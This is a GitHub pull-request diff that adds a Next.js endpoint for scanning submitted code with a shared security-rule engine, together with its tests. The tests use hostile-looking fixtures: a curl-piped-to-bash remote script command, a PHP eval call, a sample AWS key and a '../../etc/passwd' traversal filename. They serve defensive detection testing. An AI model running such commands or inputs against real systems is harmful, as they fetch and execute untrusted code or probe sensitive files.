-
Notifications
You must be signed in to change notification settings - Fork 15
feat(web): scan code with the shared package, and drop .js from its imports #95
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| import { describe, it, expect } from "vitest"; | ||
| import { POST } from "@/app/api/scan/code/route"; | ||
|
|
||
| function makeRequest(body: unknown) { | ||
| return new Request("http://localhost/api/scan/code", { | ||
| method: "POST", | ||
| headers: { "Content-Type": "application/json" }, | ||
| body: JSON.stringify(body), | ||
| }) as unknown as import("next/server").NextRequest; | ||
| } | ||
|
|
||
| describe("POST /api/scan/code", () => { | ||
| it("runs the shared rules over submitted code", async () => { | ||
| const res = await POST( | ||
| makeRequest({ | ||
| filename: "install.sh", | ||
| content: "curl -fsSL https://example.invalid/i.sh | bash\n", | ||
| }), | ||
| ); | ||
| const json = await res.json(); | ||
|
|
||
| expect(res.status).toBe(200); | ||
| expect(json.language).toBe("shell"); | ||
| expect(json.findings.map((f: { ruleId: string }) => f.ruleId)).toContain( | ||
| "sh-remote-script-execution", | ||
| ); | ||
| // `medium`, not the rule's declared `high`: the engine caps a construct | ||
| // with no visible untrusted input at medium and reports confidence | ||
| // `pattern`. The summary reflects what the engine decided, not what the | ||
| // rule asked for. | ||
| expect(json.summary.medium).toBe(1); | ||
| expect(json.findings[0].confidence).toBe("pattern"); | ||
| }); | ||
|
|
||
| it("infers the language from the filename and honours an explicit override", async () => { | ||
| // threatcrush-disable-next-line js-dynamic-code-execution PHP fixture, not JS | ||
| const phpSource = "eval($code);"; | ||
| const php = await (await POST(makeRequest({ filename: "a.php", content: phpSource }))).json(); | ||
| expect(php.language).toBe("php"); | ||
| expect(php.findings.map((f: { ruleId: string }) => f.ruleId)).toContain( | ||
| "php-dynamic-code-execution", | ||
| ); | ||
|
|
||
| // The same text scanned as shell matches no PHP rule. | ||
| const asShell = await ( | ||
| await POST(makeRequest({ filename: "a.php", content: phpSource, language: "shell" })) | ||
| ).json(); | ||
| expect(asShell.language).toBe("shell"); | ||
| expect(asShell.findings.map((f: { ruleId: string }) => f.ruleId)).not.toContain( | ||
| "php-dynamic-code-execution", | ||
| ); | ||
| }); | ||
|
|
||
| it("returns nothing for code that is fine", async () => { | ||
| const res = await POST( | ||
| makeRequest({ filename: "safe.sh", content: 'rm -rf "$BUILD_DIR/output"\n' }), | ||
| ); | ||
| const json = await res.json(); | ||
| expect(json.findings).toEqual([]); | ||
| expect(json.summary).toEqual({ critical: 0, high: 0, medium: 0, low: 0, info: 0 }); | ||
| }); | ||
|
|
||
| it("never echoes back the credential that produced a finding", async () => { | ||
| // The engine redacts excerpts before they leave it. This endpoint reflects | ||
| // findings to the caller, so that guarantee is worth pinning here too. | ||
| // Two rules match this line, and `disable-next-line` only reaches the line | ||
| // after it — so a second directive would suppress the first comment, not | ||
| // the fixture. The rule id is omitted deliberately, which suppresses both. | ||
| // threatcrush-disable-next-line | ||
| const secret = "AKIAIOSFODNN7EXAMPLE"; | ||
|
github-advanced-security[bot] marked this conversation as resolved.
Fixed
|
||
| const res = await POST( | ||
| makeRequest({ filename: "a.env", content: `AWS_ACCESS_KEY_ID=${secret}` }), | ||
| ); | ||
| const text = JSON.stringify(await res.json()); | ||
| expect(text).toContain("secret-aws-access-key"); | ||
| expect(text).not.toContain(secret); | ||
| }); | ||
|
|
||
| it("rejects a missing or empty body", async () => { | ||
| expect((await POST(makeRequest({}))).status).toBe(400); | ||
| expect((await POST(makeRequest({ content: "" }))).status).toBe(400); | ||
| }); | ||
|
|
||
| it("rejects an unknown language rather than silently scanning as something else", async () => { | ||
| const res = await POST(makeRequest({ content: "x", language: "cobol" })); | ||
| expect(res.status).toBe(400); | ||
| expect((await res.json()).error).toMatch(/unknown language/); | ||
| }); | ||
|
|
||
| it("bounds the input", async () => { | ||
| // Unbounded input on an unauthenticated endpoint that runs a regex per | ||
| // line is a denial of service, not a feature. | ||
| const tooBig = await POST(makeRequest({ content: "a".repeat(256 * 1024 + 1) })); | ||
| expect(tooBig.status).toBe(413); | ||
|
|
||
| const tooManyLines = await POST(makeRequest({ content: "x\n".repeat(20_001) })); | ||
| expect(tooManyLines.status).toBe(413); | ||
| }); | ||
|
|
||
| it("strips directories from the filename", async () => { | ||
| // It is never opened, but it is echoed back, and a caller should not be | ||
| // able to put arbitrary paths into a response. | ||
| const res = await POST( | ||
| makeRequest({ filename: "../../etc/passwd.sh", content: "echo hi\n" }), | ||
| ); | ||
| expect((await res.json()).filename).toBe("passwd.sh"); | ||
| }); | ||
| }); | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,106 @@ | ||
| import { NextRequest, NextResponse } from "next/server"; | ||
| import { languageOf, scanText, type ScanLanguage } from "@threatcrush/scan"; | ||
|
|
||
| /** | ||
| * The same rules the CLI runs, over submitted text. | ||
| * | ||
| * This route exists because `@threatcrush/scan` exists. Before the engine was | ||
| * extracted from `apps/cli`, the only way to run these rules was to install the | ||
| * CLI; the web app could not have offered this without a second copy of the | ||
| * rule set, which for a rule set whose value is careful false-positive tuning | ||
| * is worse than not offering it at all. | ||
| * | ||
| * Imports the default entry point, not `@threatcrush/scan/node` — nothing here | ||
| * touches a filesystem, so there is no tree walker and no SARIF writer in this | ||
| * bundle. | ||
| */ | ||
|
|
||
| /** | ||
| * Cap on submitted content. | ||
| * | ||
| * Every rule is a regular expression run per line, and the rule set includes | ||
| * `redos-nested-quantifier` precisely because catastrophic backtracking is | ||
| * real. An unbounded body on an unauthenticated endpoint is the shape of a | ||
| * cheap denial of service, so the input is bounded before any rule sees it. | ||
| */ | ||
| const MAX_BYTES = 256 * 1024; | ||
| const MAX_LINES = 20_000; | ||
|
|
||
| const LANGUAGES: readonly ScanLanguage[] = [ | ||
| "javascript", | ||
| "typescript", | ||
| "python", | ||
| "ruby", | ||
| "go", | ||
| "java", | ||
| "php", | ||
| "shell", | ||
| "config", | ||
| "other", | ||
| ]; | ||
|
|
||
| /** | ||
| * POST /api/scan/code | ||
| * Free code scanner — no auth required, matching /api/scan. | ||
| */ | ||
| export async function POST(request: NextRequest) { | ||
| let body: { content?: string; filename?: string; language?: string }; | ||
| try { | ||
| body = await request.json(); | ||
| } catch { | ||
| return NextResponse.json({ error: "Invalid JSON" }, { status: 400 }); | ||
| } | ||
|
|
||
| const { content, filename, language } = body; | ||
|
|
||
| if (typeof content !== "string" || content.length === 0) { | ||
| return NextResponse.json({ error: "content is required" }, { status: 400 }); | ||
| } | ||
|
|
||
| // Byte length, not string length: the limit is about how much work this | ||
| // costs to serve, and a multi-byte character is not one byte. | ||
| if (Buffer.byteLength(content, "utf8") > MAX_BYTES) { | ||
| return NextResponse.json( | ||
| { error: `content exceeds ${MAX_BYTES} bytes` }, | ||
| { status: 413 }, | ||
| ); | ||
| } | ||
|
|
||
| const lineCount = content.split("\n").length; | ||
| if (lineCount > MAX_LINES) { | ||
| return NextResponse.json( | ||
| { error: `content exceeds ${MAX_LINES} lines` }, | ||
| { status: 413 }, | ||
| ); | ||
| } | ||
|
|
||
| if (language !== undefined && !LANGUAGES.includes(language as ScanLanguage)) { | ||
| return NextResponse.json( | ||
| { error: `unknown language: ${language} (expected ${LANGUAGES.join(", ")})` }, | ||
| { status: 400 }, | ||
| ); | ||
| } | ||
|
|
||
| // The filename is used for language detection and echoed back on each | ||
| // finding. It is never opened — this route has no filesystem access — so a | ||
| // traversal sequence in it reaches nothing. It is still bounded and stripped | ||
| // of directories, because a caller should not be able to put arbitrary text | ||
| // into a response that another user may see. | ||
| const safeName = (filename ?? "snippet.txt").split("/").pop()?.slice(0, 128) || "snippet.txt"; | ||
| const resolved = (language as ScanLanguage | undefined) ?? languageOf(safeName); | ||
|
|
||
| const findings = scanText(safeName, content, resolved); | ||
|
|
||
| const summary = { critical: 0, high: 0, medium: 0, low: 0, info: 0 }; | ||
| for (const finding of findings) summary[finding.severity] += 1; | ||
|
|
||
| return NextResponse.json({ | ||
| filename: safeName, | ||
| language: resolved, | ||
| lines_scanned: lineCount, | ||
| // Excerpts are redacted by the engine before they reach here, so echoing a | ||
| // finding never returns the credential that produced it. | ||
| findings, | ||
| summary, | ||
| }); | ||
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.